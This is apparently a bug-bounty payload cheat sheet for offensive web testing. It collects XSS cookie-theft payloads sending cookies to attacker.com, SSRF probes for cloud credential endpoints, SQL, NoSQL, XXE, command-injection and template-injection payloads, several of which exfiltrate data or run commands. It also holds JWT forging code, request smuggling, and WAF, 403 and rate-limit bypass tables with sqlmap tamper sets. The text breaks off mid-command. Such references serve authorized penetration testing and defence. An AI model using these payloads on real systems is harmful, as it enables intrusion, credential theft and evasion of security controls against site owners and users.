SECURITY ARSENAL
Payloads, bypass tables, wordlists, and submission rules.
XSS PAYLOADS
Basic Probes
<script>alert(document.domain)</script>
<img src=x
<svg
"><script>alert(1)</script>
'><img src=x
javascript:alert(document.domain)
Cookie Theft (proof of impact)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP Bypass Techniques
// If unsafe-inline blocked — use fetch/XHR
<img src=x
// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML reflection
// Vue v-html binding
// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x
// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS Sources and Sinks
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL
// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...) // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE // javascript: URI
element.href = SOURCE
location.href = SOURCE
SSRF PAYLOADS
Cloud Metadata
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google
# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true
Internal Service Fingerprinting
http://localhost:6379 # Redis (unauthenticated, RESP protocol)
http://localhost:9200 # Elasticsearch (/_cat/indices)
http://localhost:27017 # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080 # Admin panel
http://localhost:2375 # Docker API — GET /containers/json
http://localhost:10.96.0.1:443 # Kubernetes API server
SSRF IP Bypass Payloads
# All of these map to 127.0.0.1:
http://2130706433 # decimal
http://0177.0.0.1 # octal
http://0x7f.0x0.0x0.0x1 # hex
http://127.1 # short form
http://[::1] # IPv6 loopback
http://[::ffff:127.0.0.1] # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6
# DNS rebinding: A→external, then resolves to internal after allowlist check
# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/
SQL INJECTION PAYLOADS
Detection
'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'-- -- MSSQL time-based
'; SELECT SLEEP(5)-- -- MySQL time-based
' OR SLEEP(5)--
Union-Based (determine column count)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
Fingerprint + Prove Readable Data (read-only PoC)
-- pick DBMS by stack: .asp/IIS→MSSQL, .php→MySQL, Java/Python→PG/Oracle
-- column count first: ' ORDER BY 1-- ↑ until error = N-1 cols
0' UNION SELECT NULL,'MARKER',NULL-- -- find a displayable column
-- fingerprint + identity (ONE readable value = valid finding):
0' UNION SELECT NULL,@@version,NULL-- -- MSSQL/MySQL
0' UNION SELECT NULL,version(),NULL-- -- PostgreSQL
0' UNION SELECT NULL,SYSTEM_USER,NULL-- -- MSSQL (current_user / USER() elsewhere)
-- schema walk + one-request dump of a sensitive table:
0' UNION SELECT NULL,TABLE_NAME,NULL FROM INFORMATION_SCHEMA.TABLES-- -- MySQL/MSSQL/PG (Oracle: ALL_TABLES)
-- MySQL GROUP_CONCAT() · MSSQL/PG STRING_AGG() · Oracle LISTAGG() → dump in one request
Reading a credentials/config table is a valid standalone finding — submit on data, not a 500. (DB→OS escalation only if the DB user is sysadmin/superuser AND host exec is in scope.)
Blind SQLi (time-based confirmation)
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--
WAF Bypass
/*!50000 SELECT*/ * FROM users -- MySQL inline comment
SE/**/LECT * FROM users -- comment injection
SeLeCt * FrOm uSeRs -- case variation
%27 OR %271%27=%271 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1 -- Unicode apostrophe
XXE PAYLOADS
Classic File Read
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
Blind OOB via HTTP (DNS confirmation)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>
Blind OOB via DNS + Data Exfil
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
%param1;
]>
<foo>&exfil;</foo>
XXE via DOCX/SVG/PDF Upload
- SVG:
<image href="file:///etc/passwd" /> - DOCX: malicious XML in
word/document.xmlwith external entity
PATH TRAVERSAL PAYLOADS
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd # double URL encoding
/etc/passwd%00.jpg # null byte truncation
....\/....\/etc/passwd # mix of separators
IDOR / AUTH BYPASS PAYLOADS
Horizontal Privilege Escalation
# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile
# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...
# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)
# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)
# Add parameter
GET /api/orders → GET /api/orders?user_id=456
Vertical Privilege Escalation
# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}
# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending
# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}
AUTHENTICATION BYPASS PAYLOADS
JWT Attacks
# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
Non-JWT encrypted session cookies / ViewState / opaque auth blobs? If decoded length is a multiple of 8 or 16 and a 1-byte flip returns HTTP 500, test for CBC padding oracle — see web2-vuln-classes Padding Oracle & Crypto Misuse for PadBuster recipe and ViewState-to-RCE chain.
OAuth Attacks
# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced
# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack
NOSQL INJECTION PAYLOADS (MongoDB)
Operator Injection (JSON body)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}
GET Parameter Injection
# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=
# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)
Auth Bypass One-Liners
curl -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null
COMMAND INJECTION PAYLOADS
Basic Detection
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
Blind OOB (out-of-band confirmation)
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)
Bypass Techniques
# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd
# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd
# Bypass via env
;$BASH -c 'id'
;${IFS}id
# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com
Context-Specific (filename injection)
# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd
SSTI DETECTION PAYLOADS (All Engines)
Universal Probe (send all, observe which evaluate)
{{7*7}} → 49 = Jinja2 (Python) or Twig (PHP)
${7*7} → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %> → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7} → 49 = Mako (Python) or Pebble (Java)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")} → Freemarker RCE
RCE Payloads by Engine
Jinja2 (Python/Flask/Django):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
Freemarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
ERB (Ruby on Rails):
<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>
Spring Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
EJS (Node.js):
<%= process.mainModule.require('child_process').execSync('id') %>
Where to Test
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates
HTTP SMUGGLING PAYLOADS
CL.TE — Content-Length front-end, Transfer-Encoding back-end
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
TE.CL — Transfer-Encoding front-end, Content-Length back-end
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3
8
SMUGGLED
0
TE.TE — Both support Transfer-Encoding, obfuscate to disable one
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
H2.CL — HTTP/2 front-end with Content-Length injection
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync
Detection (Burp)
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
Impact Chain
Basic desync → Capture victim's next request → Read their auth token
+ Admin user traffic → Access admin as victim
+ Cache poisoning → Stored XSS at scale for all users
WAF BYPASS REFERENCE
WAF bypass techniques compiled from disclosed bug bounty reports, PortSwigger, PayloadsAllTheThings, and public security research.
Soft Block Detection (200 OK ≠ Bypass)
WAF vendors often return HTTP 200 OK with a block page to confuse attackers:
- Cloudflare JS challenge:
200 OK+cf-challenge-formbody - F5 BIG-IP:
200 OK+ "The requested URL was rejected" +Support ID: xxxx - Imperva:
200 OK+ CAPTCHA page +_Incapsula_Resource - Custom enterprise WAFs:
200 OK+ "Your request has been blocked. Log ID: WAF-..." - AWS + CloudFront custom error pages: may return
200or403depending on config
Verdict system in tools/bypass_403.sh:
| Verdict | Meaning | Action |
|---|---|---|
bypassed |
Status OK + body diverges from block baseline + no vendor signature | Escalate endpoint |
needs_review |
Ambiguous — status looks OK but body unclear | Manual check required |
blocked |
Body matches block signature OR length ≈ block baseline | Keep trying |
401 and 500 are POSITIVE bypass signals:
401 Unauthorized= you reached the auth middleware (past WAF edge)500 Internal Server Error= payload triggered backend exception (SQLi/SSTI lead)502/503= you reached origin (WAF forwarded the request)
Block baseline: bypass_403.sh samples the target host with a known-bad XSS payload (/?_waftest=<script>...) before running probes. It stores the block response length. A bypass probe is only confirmed if:
- Status ∈ {200, 201, 204, 301, 302, 401, 500, 502, 503}
- Body does NOT match vendor block signatures
- Body length diverges from block baseline by >5%
WAF Log IDs — also extract them:
| WAF | Log ID Location | Value for Hunting |
|---|---|---|
| Cloudflare | CF-Ray: 8a3b...-NRT |
PoP code = origin region hint |
| F5 BIG-IP | Body: Support ID: 1234567890123456789 |
Timestamp encoded in prefix |
| ModSecurity | Body: [id "942100"] |
Rule ID = tells you exactly which rule fired |
| Imperva | Body: incident ID: 12345-6789 |
Sequence gap = traffic volume |
| AWS | Header: X-Amzn-Trace-Id: Root=1-<hex-ts>-... |
Timestamp in hex |
| Generic | Body: Log ID: WAF-20240512-xxxx |
Include in bug report for triage |
Log IDs extracted by tools/bypass_403.sh and tools/waf_response_analyzer.py --classify. Include them in reports — triage can verify directly from internal WAF logs.
403 Bypass Quick Reference
| Category | Technique | Payload Example |
|---|---|---|
| IP spoofing | X-Forwarded-For | X-Forwarded-For: 127.0.0.1 |
| IP spoofing | True-Client-IP | True-Client-IP: 127.0.0.1 |
| IP spoofing | CF-Connecting-IP | CF-Connecting-IP: 127.0.0.1 |
| IP spoofing | X-Originating-IP | X-Originating-IP: 127.0.0.1 |
| IP spoofing | X-ProxyUser-Ip | X-ProxyUser-Ip: 127.0.0.1 |
| IP spoofing | Client-IP | Client-IP: 127.0.0.1 |
| IP spoofing | Forwarded RFC 7239 | Forwarded: for=127.0.0.1 |
| IP spoofing | X-Remote-Addr | X-Remote-Addr: 127.0.0.1 |
| IP spoofing | X-Remote-IP | X-Remote-IP: 127.0.0.1 |
| IP spoofing | Via | Via: 1.1 127.0.0.1 |
| URL rewrite | X-Original-URL | X-Original-URL: /admin |
| URL rewrite | X-Rewrite-URL | X-Rewrite-URL: /admin |
| URL rewrite | X-Forwarded-Host | X-Forwarded-Host: localhost |
| URL rewrite | X-Custom-IP-Authorization | X-Custom-IP-Authorization: 127.0.0.1 |
| Method override | X-HTTP-Method-Override | X-HTTP-Method-Override: GET |
| Method tampering | Verb swap | POST /admin, PUT /admin, TRACE /admin |
| Path encoding | URL-encoded slash | /admin/%2e/, /admin%2F |
| Path encoding | Double URL-encoded | /admin/%252e/, /admin%252F |
| Path encoding | Unicode overlong | /admin/%c0%2e/, /admin/%c0%af/ |
| Path tricks | Semicolon | /admin;/, /admin/.;/ |
| Path tricks | Double-dot semicolon | /admin/..;/, /admin..;/ |
| Path tricks | Trailing dot/slash | /admin/., /admin//, /.admin |
| Path tricks | Whitespace | /admin%20, /admin%09, /admin%0a |
| Path tricks | Suffix injection | /admin.json, /admin.html, /admin.css, /admin# |
WAF Fingerprint Signatures
| WAF | Indicator |
|---|---|
| Cloudflare | cf-ray: header, __cfduid/__cf_bm cookie, "Attention Required" block page |
| AWS WAF | 403 with x-amzn-requestid:, x-amzn-trace-id:, x-amz-cf-id: headers |
| Akamai | akamai-x-* headers, "Access Denied" + reference number block page |
| Imperva/Incapsula | incap_ses_*, visid_incap_* cookies, X-CDN: Imperva |
| ModSecurity | mod_security or NAXSI in 4xx response body |
| F5 BIG-IP ASM | TS01abcdef style cookie, F5-TrafficShield header |
| Barracuda | barra_counter_session cookie |
| Wordfence | "Generated by Wordfence" in block page |
| Sucuri | X-Sucuri-ID header |
Vendor-Specific Bypass Table
| WAF | Bypass Vector | How It Works |
|---|---|---|
| Cloudflare | Transfer-Encoding: chunked + X-Forwarded-Host: localhost |
Chunked TE confuses CF parser |
| Cloudflare | Origin IP direct connection | Find via crt.sh/Shodan, bypass WAF entirely |
| AWS WAF | SQL comment splitting UN/**/ION SE/**/LECT |
Rule-based scanner misses tokenised payload |
| AWS WAF | Oversized body (>8KB) | AWS skips inspection on cheap tier |
| Imperva | Unicode overlong %c0%2e%c0%2e/admin |
Decoder mismatch with backend |
| Imperva | Parameter pollution ?id=1&id=2 UNION SELECT |
Inspects first value, backend uses last |
| F5 BIG-IP | Double-slash path //admin |
Path normalisation difference |
| ModSecurity | Encoding stacking (URL + HTML + unicode) | OWASP CRS misses 3+ layer transforms |
| Akamai | Pragma: akamai-x-cache-on debug headers |
Forces cache MISS, exposes uncached path |
Encoding Bypass Reference
| Layer | Original | Encoded | Use Case |
|---|---|---|---|
| URL single | ' |
%27 |
Standard URL |
| URL double | ' |
%2527 |
Decoder runs once on edge |
| URL triple | ' |
%25252527 |
Aggressive proxy chain |
| Unicode JS | ' |
' |
XSS in JS context |
| HTML decimal | ' |
' |
Reflected XSS in HTML |
| HTML hex | ' |
' |
Reflected XSS in HTML |
| SQL comment | SELECT |
SE/**/LECT |
MySQL/Postgres tokeniser |
| MySQL version | SELECT |
/*!50000 SELECT*/ |
MySQL-only execution |
| SQL whitespace | |
/**/, %0a, %0b, + |
Replace space in SQL |
| SQL operator | OR |
|| |
Token-class mismatch |
| SQL operator | = |
LIKE |
Avoid = token |
| Base64 XSS | alert(1) |
<svg> |
Bypass keyword filter |
Generate all variants with: tools/waf_encoder.py "<payload>" --class sqli|xss|generic
Content-Type Confusion
| Technique | Effect |
|---|---|
| Dual Content-Type headers | Backend picks one, WAF picks the other |
application/json for form data |
WAF JSON rules vs form rules differ |
text/plain with JSON body |
Many WAFs skip text/plain body inspection |
charset=utf-16le in part |
Backend decodes correctly, WAF sees null-byte-padded garbage |
| Boundary case confusion | boundary=x; BOUNDARY=y exploits case-insensitive parser drift |
Multipart Parser Confusion
| Technique | Effect |
|---|---|
Boundary simplification (boundary=x) |
Strips WebKit fingerprint, evades boundary-pattern rules |
Null-byte in boundary (--x\x00) |
Some parsers truncate at null, others don't |
Content-Disposition: form-data; name="f"; x=filename="shell.aspx" |
Payload hidden in sub-param |
Post-terminator payload (extra part after --x--) |
Standard parser ignores, lax parser processes |
Per-part Content-Type: image/jpeg |
Content scanner skips binary/image parts |
Duplicate filename= param |
Parser picks first value, scanner sees second |
| CRLF/LF mix between parts | Strict-CRLF parser breaks, lenient parser continues |
Generate variants with: tools/multipart_mutator.py --file shell.aspx --field file
Origin Server Discovery (Cloudflare Bypass)
# Certificate transparency (pre-WAF origin)
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u
# Shodan — search by SSL cert subject
shodan search "ssl.cert.subject.cn:$TARGET"
# Historical DNS records
curl -s "https://viewdns.info/iphistory/?domain=$TARGET"
# Direct origin: bypass CF entirely
curl --resolve "$TARGET:443:<origin-ip>" "https://$TARGET/admin"
Bypass Decision Tree
Got 403?
├── Run /bypass-403 <url> (17 headers + 15 paths + 6 methods = 38 probes)
│ ├── Hit → escalate the endpoint (may be Security Misconfiguration finding)
│ └── No hit → continue below
├── Fingerprint WAF (in bypass_403.sh output or wafw00f)
│ ├── Cloudflare → origin IP discovery + TE+XFH trick
│ ├── AWS WAF → /**/ comment split + oversized body
│ ├── Imperva → unicode overlong + param pollution
│ └── F5 → double-slash path + strip TS cookie
├── Payload blocked? tools/waf_encoder.py "<payload>" --class sqli|xss
│ └── Try each variant until 200 response
├── Upload endpoint? tools/multipart_mutator.py --file shell --field f
│ └── Try all 10 parser-confusion variants
└── 5 min total, still blocked → kill (5-minute rule)
Junk Character Injection (Disrupt Tokenizers)
WAFs use tokenizers that split on operators/delimiters. Injecting garbage between tokens breaks the token stream while the backend parser ignores the noise:
<script>+-+-1-+-+alert(1)+-+-</script>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
/?id=1+un/**/ion+sel/**/ect+1,2--
Unicode Normalization (NFKD) XSS
Backend normalizes full-width/Unicode chars to ASCII after WAF inspection:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥
<!-- NFKD → <img src=p -->
<marquee
<!-- ۰ = Persian digit zero = 'o' under some normalizers -->
<!-- decoded: pr0mpt() — WAF misses because it's not "prompt" -->
Full-width Unicode characters (U+FF01–U+FF5E) map to ASCII after NFKD normalization. Persian/Arabic digits (۰–۹) can replace Latin digits. Test by sending these and checking if the server normalizes before execution.
IBM037 / EBCDIC Charset Bypass
IIS decodes charset=ibm037 (EBCDIC) in POST bodies. WAFs typically only handle UTF-8/ASCII and skip decoding:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037
# Body encoded in IBM EBCDIC — WAF cannot read it, IIS decodes it
# Python: encode payload in ibm037 for the request body
import urllib.parse
payload = "username=admin&password=test' OR '1'='1"
encoded = payload.encode('ibm037')
# Send encoded bytes in POST body
Why it works: The WAF only decodes the body as UTF-8. The payload is invisible to pattern matching. IIS (and some other Windows backends) decode IBM037 natively before passing to the application.
JSON/XML Parser Differential (WAFFLED 2025)
JSON — 557 unique bypass variants confirmed against Cloudflare/ModSecurity/GCP Cloud Armor:
# No Content-Type header — some WAFs skip inspection entirely
POST /api/endpoint HTTP/1.1
Host: target.com
# (omit Content-Type)
{"username": "admin' OR '1'='1"}
# Null byte between field name and colon — WAF JSON parser breaks
{"field1"\x00: "payload"}
# Quote replacement (null byte substituted for double quote)
{\x00field1\x00: "value"}
XML — 299 unique bypass variants:
<!-- Extra chars at DOCTYPE closure — confuses WAF's parser -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]X>
<foo>&xxe;</foo>
<!-- UTF-16 encode the entire XML payload -->
<!-- iconv -f utf-8 -t utf-16 payload.xml > payload_utf16.xml -->
<!-- Header: Content-Type: text/xml; charset=utf-16 -->
<!-- WAF sees garbage bytes; XML parser decodes charset correctly -->
Hop-by-Hop Header Stripping
List headers in Connection: to force intermediate proxies to strip them. If the WAF reads these headers for access decisions BEFORE the proxy strips them, the bypass is achieved:
GET /admin HTTP/1.1
Host: target.com
Connection: X-Forwarded-For, Keep-Alive
X-Forwarded-For: legitimate-IP
The proxy removes X-Forwarded-For before the request reaches the backend. Backend sees no XFF → defaults to allowing. WAF already blocked based on real IP, but now the backend has no IP to check.
Standard hop-by-hop headers (strippable by listing in Connection:):
Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization,
TE, Trailer, Transfer-Encoding
Non-standard but often strippable:
Authorization, Cookie, X-Forwarded-For, X-Real-IP
Attack scenario: WAF allows only trusted IPs via X-Forwarded-For. Forge XFF header + list it in Connection: → proxy strips it → backend trusts the request.
NGINX / Backend-Specific Path Bypass Characters
Characters that NGINX passes through but the backend treats as a path terminator/separator, causing access control mismatches:
| Backend | NGINX Version | Bypass Chars | Example |
|---|---|---|---|
| Node.js/Express | 1.22.0+ | \xA0 (NBSP) |
/admin\xA0 |
| Node.js/Express | 1.16.1–1.20.2 | \xA0, \x09, \x0C |
/admin\x09 |
| Flask/Python | 1.22.0+ | \x85, \xA0 |
/admin\x85 |
| Flask/Python | 1.16.1–1.20.2 | \x85,\xA0,\x1F,\x1E,\x1D,\x1C,\x0C,\x0B |
/admin\x0B |
| Spring Boot | all | ; (NGINX 1.20.2+), \x09 |
/admin; |
| PHP-FPM | any | /index.php path info |
/admin.php/index.php |
# Node.js backend — NBSP bypass
curl $'https://target.com/admin\xA0'
# Spring Boot — semicolon separator
curl 'https://target.com/admin;'
# PHP-FPM — path info bypass
curl 'https://target.com/admin.php/index.php'
ModSecurity path confusion:
/foo%3f';alert(1);foo= # %3f = ?, confuses path parser
/backup%2ebak # bypasses .bak extension block rule
Spring Boot suffix pattern match (< v5.3):
/admin.anything # matches /admin route (useSuffixPatternMatch=true)
/admin.json
/admin.html
Rate Limit Bypass — Endpoint Variation
Counters are often keyed on exact URL. Small variations reset the counter:
/api/v1/login
/api/v2/login # different version → different counter key
/api/v1/Login # case variation
/api/v1/login/ # trailing slash
/api/v1/login%20 # URL-encoded space (decoded by backend, not by counter)
/api/v1/login?x=1 # added dummy parameter
/api/v1/login#anchor # fragment (ignored by server, resets counter)
Null byte / character variation for email-based counters:
/reset-password?email=victim@test.com%00
/reset-password?email=victim@test.com%0d
/reset-password?email=victim%2b1@test.com # Gmail ignores +alias
/reset-password?email=victim+abc@test.com # Different string, same inbox
Rate Limit Bypass — Protocol-Level Techniques
# HTTP/2 multiplexing — send 100+ requests in ONE TCP connection
# WAF/rate limiter counts per connection, not per stream
# Use Turbo Intruder in Burp (race conditions tab)
curl --http2-prior-knowledge -d @requests.txt https://target.com/api/otp
# WebSocket upgrade — after upgrade, each message bypasses per-HTTP-request counters
# Connect once, then flood WS messages through the single persistent connection
# GraphQL aliasing — one HTTP request = N mutation attempts
{
attempt1: login(username: "admin", password: "pass1") { token }
attempt2: login(username: "admin", password: "pass2") { token }
attempt3: login(username: "admin", password: "pass3") { token }
# ... up to 100+ aliases in one request
}
# gRPC bidirectional streaming — messages are not individual HTTP requests
# Rate limiter on HTTP layer doesn't see individual gRPC frames
Timing exploitation:
Window reset attack: burst requests timed to arrive just after rate-limit window resets
→ effectively doubles throughput (burst before reset + burst after)
Slow HTTP: space requests just under detection threshold
→ ffuf -rate 1 -p 5 (1 req/s, 5s pause)
SQLmap Tamper Scripts Reference
# Single tamper
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment
# Multiple tampers (applied in order left to right)
sqlmap -u "https://target.com/page?id=1" \
--tamper=between,bluecoat,charencode,randomcase,space2comment \
--random-agent --delay=2 --level=5 --risk=3
Complete tamper reference:
| Script | What It Does | Best For |
|---|---|---|
apostrophemask |
' → UTF-8 full-width ' |
All |
apostrophenullencode |
' → %00%27 |
All |
base64encode |
Base64-encode entire payload | All |
between |
> → NOT BETWEEN 0 AND |
MSSQL/MySQL/Oracle/PG |
bluecoat |
space → %09 (tab) |
MySQL, BlueCoat SGOS |
chardoubleencode |
double URL-encode all chars | All |
charencode |
URL-encode all chars | All |
charunicodeencode |
%uXXXX encoding |
MSSQL/MySQL/ASP.NET |
commalesslimit |
LIMIT 2,3 → LIMIT 3 OFFSET 2 |
MySQL |
equaltolike |
= → LIKE |
MSSQL/MySQL |
greatest |
> → GREATEST() |
MySQL/Oracle/PG |
halfversionedmorekeywords |
space → /*!0 |
MySQL |
lowercase |
all keywords lowercase | All |
modsecurityversioned |
AND → /*!12345AND*/ |
MySQL + ModSecurity |
modsecurityzeroversioned |
AND → /*!0AND*/ |
MySQL + ModSecurity |
multiplespaces |
single space → multiple spaces | All |
nonrecursivereplacement |
union → uniunionon |
All |
overlongutf8 |
overlong UTF-8 encoding | All |
percentage |
select → s%e%l%e%c%t |
MSSQL |
randomcase |
INSERT → INseRt |
All |
randomcomments |
insert /**/ randomly |
MySQL |
securesphere |
append and '0having'='0having' |
All |
space2comment |
space → /**/ |
All |
space2dash |
space → --\n |
MSSQL/SQLite |
space2hash |
space → %23\n |
MySQL |
space2mssqlblank |
space → random MSSQL blanks | MSSQL |
space2mysqlblank |
space → random MySQL blanks | MySQL |
space2plus |
space → + |
All |
space2randomblank |
space → random %09/%0A/%0C/%0D |
All |
symboliclogical |
AND → %26%26, OR → || |
All |
unionalltounion |
UNION ALL SELECT → UNION SELECT |
All |
unmagicquotes |
' → %bf%27 (GBK multi-byte) |
MySQL (magic_quotes) |
uppercase |
all keywords uppercase | All |
versionedkeywords |
union → /*!union*/ |
MySQL |
xforwardedfor |
add random X-Forwarded-For header |
All |
Pre-built combinations by WAF vendor:
# ModSecurity (OWASP CRS)
--tamper=modsecurityversioned,modsecurityzeroversioned,space2comment,randomcase
# Cloudflare (2025)
--tamper=space2comment,randomcase,charencode,between
# AWS WAF
--tamper=between,charencode,chardoubleencode
# Imperva
--tamper=randomcase,space2comment,equaltolike
# MySQL WAFs (general)
--tamper=between,bluecoat,charencode,charunicodeencode,equaltolike,greatest,
halfversionedmorekeywords,versionedkeywords,versionedmorekeywords
# MSSQL WAFs (general)
--tamper=between,charencode,charunicodeencode,equaltolike,space2comment,
space2dash,space2mssqlblank
# Unknown WAF (throw everything)
--tamper=apostrophemask,base64encode,between,chardoubleencode,charencode,
equaltolike,greatest,multiplespaces,nonrecursivereplacement,
percentage,randomcase,space2comment,space2plus,unionalltounion,unmagicquotes
Tool-Specific WAF Evasion Options
ffuf:
# Rate control to avoid triggering rate-limit WAF rules
ffuf -u https://target.com/FUZZ -w wordlist.txt \
-rate 50 \ # max 50 req/s
-p 0.1-0.5 \ # random delay 100-500ms per request
-t 10 # threads (lower = stealthier)
# Header rotation for WAF bypass
ffuf -u https://target.com/FUZZ -w wordlist.txt \
-H "X-Forwarded-For: 127.0.0.1" \
-H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)" \
-H "Referer: https://target.com/"
# Filter out WAF block responses by size/words
ffuf -u https://target.com/FUZZ -w wordlist.txt \
